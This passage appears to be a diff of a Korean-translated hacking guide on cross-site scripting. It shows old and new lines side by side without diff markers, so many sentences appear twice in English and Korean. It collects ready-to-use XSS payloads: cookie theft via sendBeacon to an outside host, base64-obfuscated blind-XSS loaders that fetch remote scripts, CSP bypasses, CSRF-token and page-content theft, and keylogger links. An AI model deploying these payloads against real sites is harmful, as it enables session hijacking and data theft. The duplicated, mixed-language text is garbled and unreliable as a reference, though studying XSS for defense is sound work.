self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있는 경우, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 보게 됩니다.
당신은 **관리자가 당신의 self XSS를 유발하게 하여 그의 쿠키/세션을 탈취할 수 있습니다.**
@ -792,7 +792,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
그런 다음, onfocus 속성이 삽입되고 XSS가 발생합니다.
그런 다음 onfocus 속성이 삽입되고 XSS가 발생합니다.
### 특수 조합
```html
@ -826,22 +826,22 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. This is **not trivial** as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless.
302 Redirect 응답에서 **헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하는 방법과 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인할 수 있습니다.\
과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`.
### Only Letters, Numbers and Dots
If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](#javascript-function) to find how to abuse this behaviour.
JavaScript가 **실행할** **콜백**을 이러한 문자로 제한할 수 있다면. [**이 게시물의 이 섹션을 읽어보세요**](#javascript-function) 이 동작을 악용하는 방법을 찾기 위해.
### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) `application/octet-stream`과 같은 **content-type**으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
Chrome이 **로드된 스크립트**를 실행할 수 있도록 지원하는 유일한 **Content-Type**은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)에서 const **`kSupportedJavascriptTypes`**에 있는 것들입니다.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -865,7 +865,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Script Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 그래서, 어떤 유형이 스크립트를 로드하는 데 사용될 수 있습니까?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 그래서 어떤 유형이 스크립트를 로드하는 데 사용될 수 있습니까?
```html
<script type="???"></script>
```
@ -897,7 +897,7 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
이 동작은 [**이 글**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하여 XSS를 유발할 수 있는 악용을 위해 사용되었습니다.
이 동작은 [**이 글**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하여 XSS를 유발할 수 있도록 악용하는 데 사용되었습니다.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 프리 렌더링으로 인해 발생하는 몇 가지 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다:
```html
@ -946,7 +946,7 @@ import { partition } from "lodash"
예를 들어 [**이 글**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 스크립트 내에서 **JSON 문자열을 이스케이프**하고 임의의 코드를 실행하는 데 사용되었습니다.
### Chrome 캐시에서 XSS
### Chrome 캐시에서 XSS
{{#ref}}
chrome-cache-to-xss.md
@ -994,7 +994,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- `require`에 간접적으로 접근하기
[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에 래핑됩니다, 다음과 같이:
[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에 래핑됩니다, 다음과 같이:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1009,7 +1009,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
이전 예와 유사하게, **error handlers**를 사용하여 모듈의 **wrapper**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다:
이전 예제와 유사하게, **오류 처리기**를 사용하여 모듈의 **래퍼**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다:
```javascript
try {
null.f()
@ -1231,7 +1231,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
```
## XSS 일반 페이로드
### 여러 페이로드를 1개
### 여러 페이로드를 하나
{{#ref}}
steal-info-js.md
@ -1239,7 +1239,7 @@ steal-info-js.md
### Iframe 트랩
사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):
사용자가 iframe을 벗어나지 않고 페이지 내에서 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):
{{#ref}}
../iframe-traps.md
@ -1268,7 +1268,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> 당신은 **HTTPOnly 플래그가 쿠키에 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다**. 하지만 여기 [이 보호를 우회하는 몇 가지 방법이 있습니다](../hacking-with-cookies/index.html#httponly) 운이 좋다면.
> 당신은 **HTTPOnly 플래그가 쿠키에 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다**. 하지만 여기 [이 보호를 우회하는 몇 가지 방법이 있습니다](../hacking-with-cookies/index.html#httponly) 만약 운이 좋다면.
### 페이지 콘텐츠 훔치기
```javascript
@ -1387,7 +1387,7 @@ body:username.value+':'+this.value
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- 메타스플로잇 `http_javascript_keylogger`를 사용할 수도 있습니다.
- 메타스플로잇 `http_javascript_keylogger`도 사용할 수 있습니다.
### CSRF 토큰 훔치기
```javascript
@ -1471,10 +1471,35 @@ You can also use: [https://xsshunter.com/](https://xsshunter.com)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - Access Hidden Content
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다:
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값은 정규 표현식의 입력값이 제거된 후에도 여전히 찾을 수 있습니다:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1501,7 +1526,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
### Markdown에서의 XSS
렌더링될 Markdown 코드를 주입할 수 있나요? 아마도 XSS를 얻을 수 있을 것입니다! 확인해 보세요:
렌더링될 Markdown 코드를 주입할 수 있나요? 아마도 XSS를 얻을 수 있을 것입니다! 확인해보세요:
{{#ref}}
xss-in-markdown.md
@ -1509,7 +1534,7 @@ xss-in-markdown.md
### SSRF로의 XSS
**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 사용하여 **SSRF로 업그레이드**해 보세요:
**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 사용하여 **SSRF로 업그레이드**해보세요:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1535,7 +1560,7 @@ pdf-injection.md
AMP는 모바일 장치에서 웹 페이지 성능을 가속화하기 위해 HTML 태그와 JavaScript를 보완하여 기능성을 보장하며 속도와 보안에 중점을 둡니다. 다양한 기능을 위한 여러 구성 요소를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 접근할 수 있습니다.
[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호작용할 수 있도록 합니다.
[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 직접 콘텐츠와 상호작용할 수 있도록 합니다.
예시 [**Gmail의 Amp4Email에서 XSS 작성**](https://adico.me/post/xss-in-gmail-s-amp4email).
@ -1597,20 +1622,21 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
**더 많은 SVG 페이로드를 찾으세요** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## 기타 JS 트릭 및 관련 정보
## Misc JS Tricks & Relevant Info
{{#ref}}
other-js-tricks.md
{{#endref}}
## XSS 리소스
## XSS resources
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
{{#include ../../banners/hacktricks-training.md}}